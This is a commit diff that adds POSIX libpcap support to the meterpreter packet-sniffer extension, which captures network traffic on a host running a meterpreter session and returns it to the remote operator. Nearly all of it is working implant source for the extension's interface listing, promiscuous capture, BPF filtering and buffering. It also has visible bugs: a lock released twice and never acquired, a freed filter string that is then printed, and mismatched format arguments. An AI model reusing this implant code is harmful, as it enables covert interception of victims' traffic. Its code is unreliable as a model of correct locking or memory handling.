Implement a sniffer for posix meterpreter using libpcap.
This version of the sniffer supports packet filtering after the packet count variable, like so: meterpreter > sniffer_interfaces 1 - 'eth0' ( type:0 mtu:1514 usable:false dhcp:false wifi:false ) 2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false ) 3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false ) meterpreter > use sniffer Loading extension sniffer...success. meterpreter > sniffer_start 1 500000 icmp <-- picks up only icmp packets. [*] Capture started on interface 1 (500000 packet buffer) meterpreter > sniffer_stop 1 [*] Capture stopped on interface 1 git-svn-id: file:///home/svn/framework3/trunk@10424 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
a179836fca
commit
50241faa57
Binary file not shown.
|
@ -6,6 +6,8 @@
|
||||||
|
|
||||||
#include "sniffer.h"
|
#include "sniffer.h"
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||||
|
@ -15,40 +17,11 @@
|
||||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||||
EnableDelayLoadMetSrv();
|
EnableDelayLoadMetSrv();
|
||||||
|
|
||||||
|
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
|
||||||
|
|
||||||
HANDLE hMgr;
|
HANDLE hMgr;
|
||||||
DWORD hErr;
|
DWORD hErr;
|
||||||
|
|
||||||
struct sockaddr peername;
|
|
||||||
int peername_len;
|
|
||||||
|
|
||||||
struct sockaddr_in *peername4;
|
|
||||||
struct sockaddr_in6 *peername6;
|
|
||||||
|
|
||||||
int sniffer_includeports[1024];
|
|
||||||
int sniffer_excludeports[1024];
|
|
||||||
|
|
||||||
/* mutex */
|
|
||||||
HANDLE snifferm;
|
|
||||||
|
|
||||||
#define SNIFFER_MAX_INTERFACES 128
|
|
||||||
#define SNIFFER_MAX_QUEUE 210000 // ~300Mb @ 1514 bytes
|
|
||||||
|
|
||||||
CaptureJob open_captures[SNIFFER_MAX_INTERFACES];
|
|
||||||
|
|
||||||
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet);
|
|
||||||
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet);
|
|
||||||
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet);
|
|
||||||
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet);
|
|
||||||
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet);
|
|
||||||
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet);
|
|
||||||
HANDLE pktsdk_interface_by_index(unsigned int fidx);
|
|
||||||
DWORD pktsdk_initialize(void);
|
|
||||||
|
|
||||||
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize);
|
|
||||||
|
|
||||||
|
|
||||||
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
|
|
||||||
|
|
||||||
DWORD pktsdk_initialize(void) {
|
DWORD pktsdk_initialize(void) {
|
||||||
hMgr = MgrCreate();
|
hMgr = MgrCreate();
|
||||||
if(! hMgr){
|
if(! hMgr){
|
||||||
|
@ -80,6 +53,103 @@ HANDLE pktsdk_interface_by_index(unsigned int fidx) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int sniffer_includeports[1024];
|
||||||
|
int sniffer_excludeports[1024];
|
||||||
|
|
||||||
|
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize);
|
||||||
|
|
||||||
|
#else // posix side
|
||||||
|
|
||||||
|
#define check_pssdk()
|
||||||
|
|
||||||
|
char *get_interface_name_by_index(unsigned int fidx)
|
||||||
|
{
|
||||||
|
unsigned idx = 1;
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||||
|
static char device_name[64]; // PKS, probably safe, due to snifferm mutex
|
||||||
|
pcap_if_t *interfaces, *int_iter;
|
||||||
|
|
||||||
|
memset(device_name, 0, sizeof(device_name));
|
||||||
|
|
||||||
|
interfaces = int_iter = NULL;
|
||||||
|
|
||||||
|
if(pcap_findalldevs(&interfaces, errbuf) == -1) {
|
||||||
|
dprintf("[%s] Hmm, out of memory? (errno = %d, but probably not useful)", errno);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(int_iter = interfaces; int_iter; int_iter = int_iter->next) {
|
||||||
|
if(fidx == idx++) {
|
||||||
|
strncpy(device_name, int_iter->name, sizeof(device_name)-1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pcap_freealldevs(interfaces);
|
||||||
|
|
||||||
|
return device_name[0] ? device_name : NULL;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// http://www.google.com/#q=peter+packet
|
||||||
|
|
||||||
|
typedef struct PeterPacket
|
||||||
|
{
|
||||||
|
struct pcap_pkthdr h;
|
||||||
|
unsigned char bytes[0];
|
||||||
|
} PeterPacket;
|
||||||
|
|
||||||
|
char *packet_filter;
|
||||||
|
|
||||||
|
#define PktDestroy(x) free((void *)(x))
|
||||||
|
#define PktGetPacketSize(x) (((PeterPacket *)(x))->h.caplen)
|
||||||
|
|
||||||
|
DWORD PktGetId(DWORD handle, DWORD *thi)
|
||||||
|
{
|
||||||
|
PeterPacket *pp = (PeterPacket *)(handle);
|
||||||
|
*thi = pp->h.ts.tv_sec;
|
||||||
|
return pp->h.ts.tv_usec;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD PktGetTimeStamp(DWORD handle, DWORD *thi)
|
||||||
|
{
|
||||||
|
__int64_t i64;
|
||||||
|
PeterPacket *pp = (PeterPacket *)(handle);
|
||||||
|
|
||||||
|
i64 = (pp->h.ts.tv_sec + 11644473600) * 10000000;
|
||||||
|
|
||||||
|
*thi = (i64 & 0xffffffff00000000) >> 32;
|
||||||
|
return (i64 & 0x00000000ffffffff);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define PktGetPacketData(x) (&((PeterPacket *)(x))->bytes)
|
||||||
|
|
||||||
|
#define AdpCfgGetMaxPacketSize(x) (1514)
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct sockaddr peername;
|
||||||
|
int peername_len;
|
||||||
|
|
||||||
|
struct sockaddr_in *peername4;
|
||||||
|
struct sockaddr_in6 *peername6;
|
||||||
|
|
||||||
|
/* mutex */
|
||||||
|
LOCK *snifferm;
|
||||||
|
|
||||||
|
#define SNIFFER_MAX_INTERFACES 128
|
||||||
|
#define SNIFFER_MAX_QUEUE 210000 // ~300Mb @ 1514 bytes
|
||||||
|
|
||||||
|
CaptureJob open_captures[SNIFFER_MAX_INTERFACES];
|
||||||
|
|
||||||
|
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet);
|
||||||
|
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet);
|
||||||
|
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet);
|
||||||
|
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet);
|
||||||
|
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet);
|
||||||
|
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet);
|
||||||
|
HANDLE pktsdk_interface_by_index(unsigned int fidx);
|
||||||
|
DWORD pktsdk_initialize(void);
|
||||||
|
|
||||||
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
|
@ -97,6 +167,9 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||||
7: DHCP?
|
7: DHCP?
|
||||||
*/
|
*/
|
||||||
unsigned int idx = 1;
|
unsigned int idx = 1;
|
||||||
|
DWORD result = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
HANDLE hCfg;
|
HANDLE hCfg;
|
||||||
|
|
||||||
check_pssdk();
|
check_pssdk();
|
||||||
|
@ -157,11 +230,75 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||||
idx++;
|
idx++;
|
||||||
}while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL);
|
}while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL);
|
||||||
|
|
||||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
#else
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||||
|
int aidx = htonl(1); // :~(
|
||||||
|
|
||||||
|
int yes_int = htonl(1);
|
||||||
|
int no_int = 0;
|
||||||
|
int mtu_int = htonl(1514);
|
||||||
|
|
||||||
|
pcap_if_t *interfaces, *int_iter;
|
||||||
|
|
||||||
|
interfaces = int_iter = NULL;
|
||||||
|
|
||||||
|
do {
|
||||||
|
result = pcap_findalldevs(&interfaces, errbuf);
|
||||||
|
if(result) {
|
||||||
|
dprintf("[%s] pcap_findalldevs() failed, errbuf is %s", __FUNCTION__, errbuf);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
|
||||||
|
{
|
||||||
|
entries[0].header.type = TLV_TYPE_UINT;
|
||||||
|
entries[0].header.length = sizeof(unsigned int);
|
||||||
|
entries[0].buffer = (PUCHAR)&aidx;
|
||||||
|
|
||||||
|
entries[1].header.type = TLV_TYPE_STRING;
|
||||||
|
entries[1].header.length = strlen(int_iter->name)+1;
|
||||||
|
entries[1].buffer = int_iter->name;
|
||||||
|
|
||||||
|
entries[2].header.type = TLV_TYPE_STRING;
|
||||||
|
entries[2].header.length = strlen(int_iter->name)+1;
|
||||||
|
entries[2].buffer = int_iter->name;
|
||||||
|
|
||||||
|
entries[3].header.type = TLV_TYPE_UINT;
|
||||||
|
entries[3].header.length = sizeof(unsigned int);
|
||||||
|
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
|
||||||
|
|
||||||
|
entries[4].header.type = TLV_TYPE_UINT;
|
||||||
|
entries[4].header.length = sizeof(unsigned int);
|
||||||
|
entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-(
|
||||||
|
|
||||||
|
entries[5].header.type = TLV_TYPE_BOOL;
|
||||||
|
entries[5].header.length = sizeof(BOOL);
|
||||||
|
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
|
||||||
|
|
||||||
|
entries[6].header.type = TLV_TYPE_BOOL;
|
||||||
|
entries[6].header.length = sizeof(BOOL);
|
||||||
|
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
|
||||||
|
|
||||||
|
entries[7].header.type = TLV_TYPE_BOOL;
|
||||||
|
entries[7].header.length = sizeof(BOOL);
|
||||||
|
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
|
||||||
|
|
||||||
|
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||||
|
aidx = htonl(ntohl(aidx)+1); // :~(
|
||||||
|
}
|
||||||
|
|
||||||
|
} while(0);
|
||||||
|
|
||||||
|
if(interfaces)
|
||||||
|
pcap_freealldevs(interfaces);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
packet_transmit_response(result, remote, response);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize) {
|
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize) {
|
||||||
CaptureJob *j;
|
CaptureJob *j;
|
||||||
|
@ -173,12 +310,10 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
||||||
struct tcp_hdr *tcp;
|
struct tcp_hdr *tcp;
|
||||||
// struct udp_hdr *udp;
|
// struct udp_hdr *udp;
|
||||||
|
|
||||||
|
|
||||||
j = (CaptureJob *)Param;
|
j = (CaptureJob *)Param;
|
||||||
pktbuf = (unsigned char *)pPacketData;
|
pktbuf = (unsigned char *)pPacketData;
|
||||||
pktmax = pktbuf + IncPacketSize;
|
pktmax = pktbuf + IncPacketSize;
|
||||||
|
|
||||||
|
|
||||||
// Only process active jobs
|
// Only process active jobs
|
||||||
if(!j->active) return;
|
if(!j->active) return;
|
||||||
|
|
||||||
|
@ -228,9 +363,12 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
||||||
// All done matching exclusions
|
// All done matching exclusions
|
||||||
} while(0);
|
} while(0);
|
||||||
|
|
||||||
|
|
||||||
// Thread-synchronized access to the queue
|
// Thread-synchronized access to the queue
|
||||||
WaitForSingleObject(snifferm, INFINITE);
|
|
||||||
|
// -- PKS, per job locking would be finer grained.
|
||||||
|
// however, it probably doesn't matter.
|
||||||
|
|
||||||
|
lock_acquire(snifferm);
|
||||||
|
|
||||||
if(j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
|
if(j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
|
||||||
j->cur_pkts++;
|
j->cur_pkts++;
|
||||||
|
@ -243,17 +381,104 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
||||||
j->pkts[j->idx_pkts] = pkt;
|
j->pkts[j->idx_pkts] = pkt;
|
||||||
j->idx_pkts++;
|
j->idx_pkts++;
|
||||||
|
|
||||||
ReleaseMutex(snifferm);
|
lock_release(snifferm);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes)
|
||||||
|
{
|
||||||
|
CaptureJob *j = (CaptureJob *)(user);
|
||||||
|
PeterPacket *pkt;
|
||||||
|
|
||||||
|
if(! j->active) {
|
||||||
|
dprintf("[%s] calling pcap_breakloop because job is no longer active", __FUNCTION__);
|
||||||
|
pcap_breakloop(j->pcap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
pkt = calloc(sizeof(PeterPacket) + h->caplen, 1);
|
||||||
|
if(! pkt) {
|
||||||
|
dprintf("[%s] ho hum, no memory. maybe a pcap_breakloop / stop running?");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(&(pkt->h), h, sizeof(struct pcap_pkthdr));
|
||||||
|
memcpy(&(pkt->bytes), bytes, h->caplen);
|
||||||
|
|
||||||
|
// PKS, so tempted to implement per job locks.
|
||||||
|
// must fight temptation. :-)
|
||||||
|
|
||||||
|
// could be interesting to try and find a lockless way of implementing it.
|
||||||
|
// though the j->idx_pkts >= j->max_pkts is annoying :p
|
||||||
|
|
||||||
|
lock_release(snifferm);
|
||||||
|
|
||||||
|
j->cur_pkts ++;
|
||||||
|
j->cur_bytes += h->caplen;
|
||||||
|
|
||||||
|
if(j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
|
||||||
|
|
||||||
|
if(j->pkts[j->idx_pkts]) free(j->pkts[j->idx_pkts]);
|
||||||
|
|
||||||
|
j->pkts[j->idx_pkts++] = pkt;
|
||||||
|
|
||||||
|
lock_release(snifferm);
|
||||||
|
|
||||||
|
dprintf("[%s] new packet inserted. now pkts %d / bytes %d", __FUNCTION__, j->cur_pkts, j->cur_bytes);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD sniffer_thread(THREAD *thread)
|
||||||
|
{
|
||||||
|
int fd;
|
||||||
|
fd_set rfds;
|
||||||
|
struct timeval tv;
|
||||||
|
int count;
|
||||||
|
|
||||||
|
CaptureJob *j = (CaptureJob *)(thread->parameter1);
|
||||||
|
fd = pcap_get_selectable_fd(j->pcap);
|
||||||
|
|
||||||
|
dprintf("[%s] pcap @ %p, selectable fd is %d", __FUNCTION__, j->pcap, fd);
|
||||||
|
|
||||||
|
while(event_poll(thread->sigterm, 0) == FALSE && j->active) {
|
||||||
|
tv.tv_sec = 0;
|
||||||
|
tv.tv_usec = 5000;
|
||||||
|
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(pcap_get_selectable_fd(j->pcap), &rfds);
|
||||||
|
|
||||||
|
select(fd+1, &rfds, NULL, NULL, &tv);
|
||||||
|
|
||||||
|
count = pcap_dispatch(j->pcap, 100, packet_handler, (u_char *)(j));
|
||||||
|
|
||||||
|
if(count <= 0) continue;
|
||||||
|
if(count) dprintf("[%s] dispatched %d packets", __FUNCTION__, count);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[%s] and we're done", __FUNCTION__);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define min(a,b) (a < b ? a : b)
|
||||||
|
#define max(a,b) (a > b ? a : b)
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||||
Packet *response = packet_create_response(packet);
|
Packet *response = packet_create_response(packet);
|
||||||
unsigned int ifid;
|
unsigned int ifid;
|
||||||
|
char *ifn;
|
||||||
unsigned int maxp;
|
unsigned int maxp;
|
||||||
CaptureJob *j;
|
CaptureJob *j;
|
||||||
DWORD result;
|
DWORD result;
|
||||||
HANDLE ifh;
|
HANDLE ifh;
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||||
|
char *name;
|
||||||
|
#endif
|
||||||
|
|
||||||
check_pssdk();
|
check_pssdk();
|
||||||
dprintf("sniffer>> start_capture()");
|
dprintf("sniffer>> start_capture()");
|
||||||
|
|
||||||
|
@ -271,11 +496,15 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
ifh = pktsdk_interface_by_index(ifid);
|
ifh = pktsdk_interface_by_index(ifid);
|
||||||
if(ifh == NULL) {
|
if(ifh == NULL) {
|
||||||
result = ERROR_INVALID_PARAMETER;
|
result = ERROR_INVALID_PARAMETER;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
#else
|
||||||
|
ifh = ifid;
|
||||||
|
#endif
|
||||||
|
|
||||||
j = &open_captures[ifid];
|
j = &open_captures[ifid];
|
||||||
|
|
||||||
|
@ -285,6 +514,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
j->adp = AdpCreate();
|
j->adp = AdpCreate();
|
||||||
dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);
|
dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);
|
||||||
|
|
||||||
|
@ -296,11 +526,83 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||||
result = hErr;
|
result = hErr;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
#else
|
||||||
|
name = get_interface_name_by_index(ifid);
|
||||||
|
|
||||||
|
if(! name) {
|
||||||
|
result = ERROR_INVALID_PARAMETER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
j->pcap = pcap_open_live(name, 1514, 1, 1000, errbuf);
|
||||||
|
if(! j->pcap) {
|
||||||
|
result = EACCES;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(packet_filter) {
|
||||||
|
struct bpf_program bpf;
|
||||||
|
char *add_filter;
|
||||||
|
char *real_filter = NULL;
|
||||||
|
int rc;
|
||||||
|
|
||||||
|
dprintf("[%s] handling packet_filter", __FUNCTION__);
|
||||||
|
|
||||||
|
add_filter = packet_get_tlv_value_string(packet,TLV_TYPE_SNIFFER_ADDITIONAL_FILTER);
|
||||||
|
|
||||||
|
dprintf("[%s] add_filter = %p (%s)", __FUNCTION__, add_filter, add_filter ? add_filter : "");
|
||||||
|
|
||||||
|
if(add_filter) {
|
||||||
|
asprintf(&real_filter, "%s and (%s)", packet_filter, add_filter);
|
||||||
|
} else {
|
||||||
|
real_filter = strdup(packet_filter);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[%s] the real filter string we'll be using is '%s'", __FUNCTION__, real_filter);
|
||||||
|
|
||||||
|
rc = pcap_compile(j->pcap, &bpf, real_filter, 1, 0);
|
||||||
|
free(real_filter);
|
||||||
|
|
||||||
|
if(rc == -1) {
|
||||||
|
dprintf("[%s] pcap compile reckons '%s' is a failure because of '%s'",
|
||||||
|
__FUNCTION__, real_filter, pcap_geterr(j->pcap));
|
||||||
|
|
||||||
|
result = ERROR_INVALID_PARAMETER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[%s] compiled filter, now setfilter()'ing", __FUNCTION__);
|
||||||
|
|
||||||
|
rc = pcap_setfilter(j->pcap, &bpf);
|
||||||
|
pcap_freecode(&bpf);
|
||||||
|
|
||||||
|
if(rc == -1) {
|
||||||
|
dprintf("[%s] can't set filter because '%s'", __FUNCTION__,
|
||||||
|
pcap_geterr(j->pcap));
|
||||||
|
|
||||||
|
result = ERROR_INVALID_PARAMETER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[%s] filter applied successfully", __FUNCTION__);
|
||||||
|
}
|
||||||
|
|
||||||
|
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL);
|
||||||
|
if(! j->thread) {
|
||||||
|
pcap_close(j->pcap);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
j->pkts = calloc(maxp, sizeof(HANDLE));
|
j->pkts = calloc(maxp, sizeof(HANDLE));
|
||||||
if(j->pkts == NULL) {
|
if(j->pkts == NULL) {
|
||||||
|
#ifdef _WIN32
|
||||||
AdpCloseAdapter(j->adp);
|
AdpCloseAdapter(j->adp);
|
||||||
AdpDestroy(j->adp);
|
AdpDestroy(j->adp);
|
||||||
|
#else
|
||||||
|
pcap_close(j->pcap);
|
||||||
|
#endif
|
||||||
result = ERROR_ACCESS_DENIED;
|
result = ERROR_ACCESS_DENIED;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -311,8 +613,13 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||||
j->cur_pkts = 0;
|
j->cur_pkts = 0;
|
||||||
j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));
|
j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j);
|
AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j);
|
||||||
AdpSetMacFilter(j->adp, mfAll);
|
AdpSetMacFilter(j->adp, mfAll);
|
||||||
|
#else
|
||||||
|
thread_run(j->thread);
|
||||||
|
#endif
|
||||||
|
|
||||||
} while(0);
|
} while(0);
|
||||||
|
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
@ -343,18 +650,27 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
||||||
j = &open_captures[ifid];
|
j = &open_captures[ifid];
|
||||||
|
|
||||||
// the interface is not being captured
|
// the interface is not being captured
|
||||||
if(! j->adp) {
|
#ifdef _WIN32
|
||||||
|
if(! j->adp)
|
||||||
|
#else
|
||||||
|
if(! j->pcap)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
result = ERROR_INVALID_PARAMETER;
|
result = ERROR_INVALID_PARAMETER;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
lock_acquire(snifferm);
|
||||||
WaitForSingleObject(snifferm, INFINITE);
|
|
||||||
|
|
||||||
j->active = 0;
|
j->active = 0;
|
||||||
|
#ifdef _WIN32
|
||||||
AdpSetMacFilter(j->adp, 0);
|
AdpSetMacFilter(j->adp, 0);
|
||||||
AdpCloseAdapter(j->adp);
|
AdpCloseAdapter(j->adp);
|
||||||
AdpDestroy(j->adp);
|
AdpDestroy(j->adp);
|
||||||
|
#else
|
||||||
|
thread_sigterm(j->thread);
|
||||||
|
thread_join(j->thread); // should take less than 1 second :p
|
||||||
|
#endif
|
||||||
|
|
||||||
for(i=0; i<j->max_pkts; i++) {
|
for(i=0; i<j->max_pkts; i++) {
|
||||||
if(!j->pkts[i]) break;
|
if(!j->pkts[i]) break;
|
||||||
|
@ -364,7 +680,7 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
||||||
free(j->pkts);
|
free(j->pkts);
|
||||||
memset(j, 0, sizeof(CaptureJob));
|
memset(j, 0, sizeof(CaptureJob));
|
||||||
|
|
||||||
ReleaseMutex(snifferm);
|
lock_release(snifferm);
|
||||||
|
|
||||||
dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
|
dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
|
||||||
} while(0);
|
} while(0);
|
||||||
|
@ -399,7 +715,12 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
|
||||||
j = &open_captures[ifid];
|
j = &open_captures[ifid];
|
||||||
|
|
||||||
// the interface was not captured
|
// the interface was not captured
|
||||||
if(! j->adp) {
|
#ifdef _WIN32
|
||||||
|
if(! j->adp)
|
||||||
|
#else
|
||||||
|
if(! j->pcap)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
result = ERROR_INVALID_PARAMETER;
|
result = ERROR_INVALID_PARAMETER;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -412,7 +733,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
static DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
|
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
|
||||||
Packet *response = packet_create_response(packet);
|
Packet *response = packet_create_response(packet);
|
||||||
unsigned int ifid;
|
unsigned int ifid;
|
||||||
unsigned int bcnt;
|
unsigned int bcnt;
|
||||||
|
@ -483,7 +804,7 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
||||||
|
|
||||||
result = ERROR_SUCCESS;
|
result = ERROR_SUCCESS;
|
||||||
|
|
||||||
WaitForSingleObject(snifferm, INFINITE);
|
lock_acquire(snifferm);
|
||||||
|
|
||||||
do {
|
do {
|
||||||
// the interface is invalid
|
// the interface is invalid
|
||||||
|
@ -495,7 +816,12 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
||||||
j = &open_captures[ifid];
|
j = &open_captures[ifid];
|
||||||
|
|
||||||
// the interface was not captured
|
// the interface was not captured
|
||||||
if(! j->adp) {
|
#ifdef _WIN32
|
||||||
|
if(! j->adp)
|
||||||
|
#else
|
||||||
|
if(! j->pcap)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
result = ERROR_INVALID_PARAMETER;
|
result = ERROR_INVALID_PARAMETER;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -565,7 +891,7 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
||||||
j->idx_pkts = 0;
|
j->idx_pkts = 0;
|
||||||
} while(0);
|
} while(0);
|
||||||
|
|
||||||
ReleaseMutex(snifferm);
|
lock_release(snifferm);
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
@ -616,23 +942,25 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||||
{
|
{
|
||||||
DWORD index;
|
DWORD index;
|
||||||
|
|
||||||
hMetSrv = remote->hMetSrv;
|
|
||||||
|
|
||||||
for (index = 0;
|
for (index = 0;
|
||||||
customCommands[index].method;
|
customCommands[index].method;
|
||||||
index++)
|
index++)
|
||||||
command_register(&customCommands[index]);
|
command_register(&customCommands[index]);
|
||||||
|
|
||||||
|
|
||||||
|
memset(open_captures, 0, sizeof(open_captures));
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
// initialize structures for the packet sniffer sdk
|
// initialize structures for the packet sniffer sdk
|
||||||
hMgr = NULL;
|
hMgr = NULL;
|
||||||
hErr = 0;
|
hErr = 0;
|
||||||
memset(open_captures, 0, sizeof(open_captures));
|
|
||||||
|
|
||||||
// wipe the include/exclude ports empty
|
// wipe the include/exclude ports empty
|
||||||
memset(sniffer_includeports, 0, sizeof(sniffer_includeports));
|
